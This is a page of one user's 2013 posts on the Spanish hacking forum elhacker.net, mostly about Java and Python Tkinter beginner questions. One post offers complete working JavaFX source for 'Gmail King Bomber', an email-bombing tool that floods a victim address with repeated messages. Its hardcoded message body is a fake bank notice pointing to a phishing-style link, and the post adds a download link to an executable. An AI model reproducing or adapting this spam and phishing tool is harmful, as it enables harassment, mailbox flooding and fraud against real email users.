elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7
31  Programación / Java / Re: Ayuda convertir minutos a horas y minutos ! en: 22 Junio 2013, 14:27 pm
Haz los algoritmos, por lo menos en pseudocódigo, el asunto es que razones, que pienses y desarrolles tu lógica.

Luego ya aprende un lenguaje de programación.


Saludos.
32  Programación / Java / Re: [JavaFX] Gmail King Bomber. en: 21 Junio 2013, 23:31 pm
Hola David que tal xD.

El code que utilicé de ti es este pedazo:

Código
  1. txrActividad.setText(txrActividad.getText() + "\n" +
  2.     "Nuevo mensaje enviado: " + new Date() + "\n" +
  3.     "Destino: " + txtEmail.getText() + "\n" +
  4.     "Asunto: " + txtAsunto.getText() + "\n" +
  5.     "Mensaje: " + txrMensaje.getText()+"\n"+"\n");
  6.  

Lo que me gustó fue el nombre de tu clase "Bomber"  ;D



Saludos crack.

33  Programación / Java / Re: Problemas con delimitar while en: 21 Junio 2013, 01:41 am
Tu código solo revisa si una ip está baneada, si es así muestra la alerta, si no, devuelve el ip, ¿no?.

if (Delimitador) // te está dando siempre true por lo que comentas. El error debería venir de allí.
34  Programación / Java / [JavaFX] Gmail King Bomber. en: 21 Junio 2013, 01:27 am
Hola,

Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.


Imagen en funcionamiento:



Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.

Código
  1. import java.util.Date;
  2. import java.util.Properties;
  3.  
  4. // Librerias JavaFX
  5. import javafx.application.Application;
  6. import javafx.beans.value.ChangeListener;
  7. import javafx.beans.value.ObservableValue;
  8. import javafx.event.ActionEvent;
  9. import javafx.event.EventHandler;
  10. import javafx.scene.Group;
  11. import javafx.scene.Scene;
  12. import javafx.scene.control.Button;
  13. import javafx.scene.control.Label;
  14. import javafx.scene.control.PasswordField;
  15. import javafx.scene.control.TextArea;
  16. import javafx.scene.control.TextField;
  17. import javafx.scene.image.Image;
  18. import javafx.scene.image.ImageView;
  19. import javafx.scene.paint.Color;
  20. import javafx.stage.Stage;
  21.  
  22. // librerias JavaMail
  23. import javax.mail.Message;
  24. import javax.mail.Session;
  25. import javax.mail.Transport;
  26. import javax.mail.internet.InternetAddress;
  27. import javax.mail.internet.MimeMessage;
  28. import javax.swing.JOptionPane;
  29.  
  30.  
  31. public class GmailKingBomber extends Application {
  32.  
  33. Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
  34. Button btnOk,btnBorrar;
  35. TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
  36. PasswordField txtPassSender;
  37. TextArea txrMensaje,txrActividad;
  38. public void start(Stage stage){
  39.  
  40.    Group root = new Group(); // crea un panel "Grupo" (ver doc)
  41.    Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
  42.  
  43.    // email
  44.    lblEmail = new Label("Email");
  45.    lblEmail.setTextFill(Color.web("#0076a3"));
  46.    lblEmail.setLayoutX(8);
  47.    lblEmail.setLayoutY(8);
  48.    txtEmail = new TextField("");
  49.    txtEmail.setFocusTraversable(true);
  50.    txtEmail.setPrefSize(150,25);
  51.    txtEmail.setLayoutX(20);
  52.    txtEmail.setLayoutY(28);
  53.    // asunto
  54.    lblAsunto = new Label("Asunto");
  55.    lblAsunto.setTextFill(Color.web("#0076a3"));
  56.    lblAsunto.setLayoutX(8);
  57.    lblAsunto.setLayoutY(55);
  58.    txtAsunto = new TextField("");
  59.    txtAsunto.setFocusTraversable(true);
  60.    txtAsunto.setPrefSize(150,25);
  61.    txtAsunto.setLayoutX(20);
  62.    txtAsunto.setLayoutY(75);
  63.    // mensaje
  64.    lblMensaje = new Label("Mensaje");
  65.    lblMensaje.setTextFill(Color.web("#0076a3"));
  66.    lblMensaje.setLayoutX(8);
  67.    lblMensaje.setLayoutY(101);
  68.    txrMensaje = new TextArea("");
  69.    txrMensaje.setFocusTraversable(true);
  70.    txrMensaje.setPrefSize(150,80);
  71.    txrMensaje.setLayoutX(20);
  72.    txrMensaje.setLayoutY(126);
  73.    // cantidad de mensajes
  74.    cantMensajes = new Label("Cantidad de emails");
  75.    cantMensajes.setTextFill(Color.web("#0076a3"));
  76.    cantMensajes.setLayoutX(8);
  77.    cantMensajes.setLayoutY(211);
  78.    txtcantMensajes = new TextField("");
  79.    txtcantMensajes.setFocusTraversable(true);
  80.    txtcantMensajes.setPrefSize(80,25);
  81.    txtcantMensajes.setLayoutX(20);
  82.    txtcantMensajes.setLayoutY(234);
  83.     // email atacador
  84.    lblEmailSender = new Label("Email atacante");
  85.    lblEmailSender.setTextFill(Color.web("#0076a3"));
  86.    lblEmailSender.setLayoutX(8);
  87.    lblEmailSender.setLayoutY(266);
  88.    // txt email atacador
  89.    txtEmailSender = new TextField("");
  90.    txtEmailSender.setFocusTraversable(true);
  91.    txtEmailSender.setLayoutX(20);
  92.    txtEmailSender.setLayoutY(285);
  93.    // pass del atacador
  94.    lblPassSender = new Label("Pass");
  95.    lblPassSender.setTextFill(Color.web("#0076a3"));
  96.    lblPassSender.setLayoutX(8);
  97.    lblPassSender.setLayoutY(310);
  98.    //ptxt pass del atacador
  99.    txtPassSender = new PasswordField();
  100.    txtPassSender.setFocusTraversable(true);
  101.    txtPassSender.setLayoutX(20);
  102.    txtPassSender.setLayoutY(329);
  103.    // si se empieza a escribir la contrasena se activa el boton
  104.    txtPassSender.textProperty().addListener(new ChangeListener<String>() {
  105.      @Override
  106.      public void changed(ObservableValue<? extends String> observable,
  107.              String oldValue, String newValue) {
  108.  
  109.          btnOk.setDisable(false);
  110.      }
  111.     });
  112.  
  113.    // boom
  114.    btnOk = new Button("&#161;Boom!");
  115.    btnOk.setFocusTraversable(true);
  116.    btnOk.setDisable(true);
  117.    btnOk.setTextFill(Color.web("#0076a9"));
  118.    btnOk.setLayoutX(20);
  119.    btnOk.setLayoutY(385);
  120.    btnOk.setPrefSize(100,25);
  121.  
  122.        // evento del boton
  123.    btnOk.setOnAction(new EventHandler<ActionEvent>() {
  124.     public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
  125.     Boom boom = new Boom();
  126.     boom.start(); // inicia la tarea
  127.     }
  128.  
  129.    });
  130.  
  131.    // boton borrar
  132.    btnBorrar = new Button("Borrar");
  133.    btnBorrar.setLayoutX(126);
  134.    btnBorrar.setLayoutY(385);
  135.    btnBorrar.setPrefSize(100,25);
  136.    btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
  137.     public void handle(ActionEvent evt){
  138.     // borra todos los cambos y pone el focus en el email victima
  139.     txtEmail.setText(null);
  140.     txtAsunto.setText(null);
  141.     txrMensaje.setText(null);
  142.     txtcantMensajes.setText(null);
  143.     txrActividad.setText("");
  144.     txtEmail.requestFocus();
  145.     }
  146.    });
  147.    // textarea
  148.    lblActividad = new Label("Actividad");
  149.    lblActividad.setTextFill(Color.web("#0076a3"));
  150.    lblActividad.setLayoutX(250);
  151.    lblActividad.setLayoutY(8);
  152.    txrActividad = new TextArea();
  153.    txrActividad.setPrefSize(300,390);
  154.    txrActividad.setLayoutX(250);
  155.    txrActividad.setLayoutY(30);
  156.    txrActividad.setEditable(false); // el textarea no es editable
  157.    // imagen para el fondo
  158.    Image ima = new Image("file:htp.jpg",true);
  159.    ImageView imagen = new ImageView();
  160.    imagen.setImage(ima);
  161.    // imagen para el icono de la ventana
  162.    stage.getIcons().add(new Image("file:descarga.jpg"));
  163.    // agrega todos los componentes al panel
  164.    root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
  165.    stage.setTitle("&#161;Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
  166.    stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
  167.    stage.setResizable(false);
  168.    stage.show(); // mostramos la stage
  169.  
  170. }
  171.  
  172.    // clase que hace el env&#237;o de emails mediante thread
  173. private class Boom extends Thread{
  174.  
  175. private boolean continuar=true; //condicion del thread
  176.  
  177. void detener(){ // metodo para detener el thread
  178. continuar = false;
  179. }
  180. void inhabilitar() { // inhabilita los controles
  181. btnOk.setDisable(true);
  182. btnBorrar.setDisable(true);
  183. txtEmail.setEditable(false);
  184. txtAsunto.setEditable(false);
  185. txrMensaje.setEditable(false);
  186. txtcantMensajes.setEditable(false);
  187. txtEmailSender.setEditable(false);
  188. txtPassSender.setEditable(false);
  189. }
  190. void habilitar() { // habilita los controles
  191. btnOk.setDisable(false);
  192. btnBorrar.setDisable(false);
  193. txtEmail.setEditable(true);
  194. txtAsunto.setEditable(true);
  195. txrMensaje.setEditable(true);
  196. txtcantMensajes.setEditable(true);
  197. txtEmailSender.setEditable(true);
  198. txtPassSender.setEditable(true);
  199. }
  200. public void run()  { // incia el thread
  201. while(continuar) { // hace la tarea mientras continuar sea true
  202.  
  203. try {
  204. inhabilitar();
  205.                // Propiedades de la conexi&#243;n
  206.                Properties props = new Properties();
  207.                props.setProperty("mail.smtp.host", "smtp.gmail.com");
  208.                props.setProperty("mail.smtp.starttls.enable", "true");
  209.                props.setProperty("mail.smtp.port", "587");
  210.                props.setProperty("mail.smtp.user", txtEmailSender.getText());
  211.                props.setProperty("mail.smtp.auth", "true");
  212.  
  213.                // Preparamos la sesion
  214.                Session session = Session.getDefaultInstance(props);
  215.  
  216.                // Construimos el mensaje
  217.                MimeMessage message = new MimeMessage(session);
  218.                message.setFrom(new InternetAddress("yo@yo.com"));
  219.                message.addRecipient(
  220.                    Message.RecipientType.TO,
  221.                    new InternetAddress(txtEmail.getText()));
  222.                message.setSubject("Hola");
  223.                message.setText(
  224.                    "Este es un aviso de su banco: clickee aqu&#237;: www.terobolacuenta.com");
  225.  
  226.                // Lo enviamos.
  227.                int cantidad = Integer.parseInt(txtcantMensajes.getText() );
  228.                for(int i=1; i<=cantidad; i++) {
  229.                Transport t = session.getTransport("smtp");
  230.                t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
  231.                t.sendMessage(message, message.getAllRecipients());
  232.                txrActividad.setText(txrActividad.getText() + "\n" +
  233.     "Nuevo mensaje enviado: " + new Date() + "\n" +
  234.     "Destino: " + txtEmail.getText() + "\n" +
  235.     "Asunto: " + txtAsunto.getText() + "\n" +
  236.     "Mensaje: " + txrMensaje.getText()+"\n"+"\n");
  237.  
  238.                // Cierre.
  239.                t.close();
  240.  
  241.                if(i==cantidad) {
  242.                 detener();
  243.                 habilitar();
  244.                }
  245.               } // fin for
  246.            } // fin try
  247. catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
  248. detener();
  249. habilitar();
  250.  
  251. JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Aseg&#250;rese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
  252. }
  253. } // fin while
  254. } // fin run
  255. } // fin clase
  256.  
  257.  
  258. public static void main(String[] args) {
  259. launch(args); // lanza la aplicacion
  260. }
  261. }
  262.  


Ejecutable:  http://www.mediafire.com/?pdqn5cz324brq6b
35  Programación / Java / Re: WTF? en: 20 Junio 2013, 15:57 pm
Solucionado. Hay que agregar manualmente la clase principal en las propiedades del proyecto.
36  Programación / Java / WTF? en: 20 Junio 2013, 15:26 pm
Alguien sabe a qué se debe este inesperado error? (Netbeans)

Error: no se ha encontrado o cargado la clase principal "paquete".Main

PD: En JavaFX.
37  Foros Generales / Dudas Generales / Re: Estudiar ingenieria informatica u otras .Experiencias en: 20 Junio 2013, 03:01 am
Yo estudio Ing. Informática. La verdad tiempo claro que hay, aunque eso depende del horario en el que te inscribas, hay algunos horribles en donde tienes que estar todo el día..

Pero en general, hay tiempo para todo. Para salir con la nena, para divertirse con los patas, etc. Lo importante es saber equilibrar diversión - deberes.

Me olvidaba, en tiempo de exposiciones, trabajos, exámenes, parciales o prácticas, no te recomiendo salir a divertirte xDD.

Saludos.
38  Programación / Scripting / Re: [Python] Tkinter básico - eventos en: 18 Junio 2013, 23:34 pm
Bueno, ya lo solucioné.

La cosa era con un lamba, de este modo:

Código
  1. boton = Button(root, text="Calcular",command=lambda: operar("parametro"), width=15)
  2.  

Minicalculadora por si a algún novato como yo le sirve.. Encontrar info de tkinter actual solo se encuentra en inglés xD

Código
  1. from tkinter import * #importa el modulo grafico
  2. from tkinter import ttk # importa elementos (widgets)
  3. from tkinter import messagebox #importa messagebox
  4.  
  5. def operar():
  6.    error = False # sera el control de la operacion
  7.    texto = str(combo.get()) # extraemos el item seleccionado
  8.  
  9.    # de acuerdo a la opcion escogia, se realiza una operacion
  10.    if(texto == "Sumar"):
  11.        lbl = Label(root,text="Total: "+str(a.get()+b.get()))
  12.    elif(texto == "Restar"):
  13.        lbl = Label(root,text="Total: "+str(a.get()-b.get()))
  14.    elif(texto=="Multiplicar"):
  15.        lbl = Label(root,text="Total: "+str(a.get() * b.get()))
  16.    # hacemos un try - catch (si se divide entre 0)
  17.    else:
  18.        try:
  19.            lbl = Label(root,text="Total: "+str(round(a.get() / b.get(),2)))
  20.        except:
  21.            messagebox.showerror("Error","No es posible la división entre 0")
  22.            error = True # avisamos que hay error
  23.    # si no hay error, se muestra el resultado
  24.    if(error==False):
  25.        lbl.grid(row=4,column=0)
  26.  
  27.  
  28. root = Tk() #crea la ventana
  29. a = DoubleVar() #maneja el tipo de dato que se usara
  30. b = DoubleVar()
  31. txtA = Entry(root, textvariable=a, width=15) #configuramos los textbox
  32. txtB = Entry(root, textvariable=b, width=15)
  33. # agregamos elementos al combo
  34. combo = ttk.Combobox(root,value=('Sumar','Restar','Multiplicar','Dividir'), takefocus=0)
  35. combo.grid(row=3,column=0)
  36. # creamos el boton y configuramos su accion (command = 'funcion')
  37. btnSumar = Button(root, text="Calcular", command=operar, width=15)
  38. txtA.grid(row=0,column=0)
  39. txtB.grid(row=1,column=0)
  40. btnSumar.grid(row=2,column=0)
  41. root.mainloop() #maneja todo lo que ocurre
  42.  
39  Programación / Scripting / [Python] Tkinter básico - eventos en: 18 Junio 2013, 17:00 pm
Hola compañeros. Soy novato en Python, me parece un lenguaje interesante por lo que estoy aprendiendo a programar con él.

Ayer empecé con Tkinter, y todo bien, lo único que no logro es hacer que un botón llame a una función para que muestre un resultado.

Código
  1. from tkinter import *
  2.  
  3. def operar(operacion):
  4.    if(operacion == "suma"):
  5.        print(operacion)
  6.        lbl = Label(root,text="Total: "+str(a.get()+b.get()))
  7.        lbl.grid(row=3,column=0)
  8.    elif (operacion == "resta"):
  9.        print(operacion)
  10.        lbl = Label(root,text="Total: "+str(a.get()-b.get()))
  11.        lbl.grid(row=3,column=0)
  12.  
  13. root = Tk()
  14. a = IntVar()
  15. b = IntVar()
  16. txtA = Entry(root, textvariable=a, width=15)
  17. txtB = Entry(root, textvariable=b, width=15)
  18. btnSumar = Button(root, text="Sumar", command=operar("resta"), width=15)
  19. txtA.grid(row=0,column=0)
  20. txtB.grid(row=1,column=0)
  21. btnSumar.grid(row=2,column=0)
  22. root.mainloop()
  23.  


Lo que quiero hacer es algo así (Java):

Código
  1. public class Hola {
  2.  
  3. void calcula(String operacion)
  4. {
  5.   int numero1 = Integer.parseInt(textbox1.getText());
  6.   int numero2 = Integer.parseInt(textbox2.getText());
  7.  
  8.   if(operacion.equals("suma") {
  9.    labelResultado.setText(String.valueOf(numero1+numero2));
  10.   else if (operacion.equals("resta") {
  11.    labelResultado.setText(String.valueOf(numero1-numero2));
  12.    // así con multiplicación y división
  13.  
  14.  }
  15.  
  16. // evento del boton
  17. public void actionPerformed(ActionEvent evento)
  18. {
  19.   Objet item = (String) combobox.getSelectedItem();
  20.   calcula(item)
  21.  }
  22.  

Cuando corro el programa, llama explícitamente a la función operar, si que haya presionado el botón. Esto sale por la terminal al ejecutar el script:

Código
  1. >>>
  2. resta
  3. >>>
  4.  


¿Algún entendido que pueda ayudarme?

Gracias.
40  Programación / Scripting / [ESP] Doc oficial Python 3 + Yapa en: 15 Junio 2013, 22:17 pm
Hola, aquí les dejo la documentación oficial de Python 3 (del mismo Guido).

Documentacion

De yapa, Inmersión en Python 3 en Español:

[url"http://www.detodoprogramacion.com/2012/06/inmersion-en-python-espanol-excelente.html#more"]Inmersión en Python 3[/url]


Saludos.
Páginas: 1 2 3 [4] 5 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines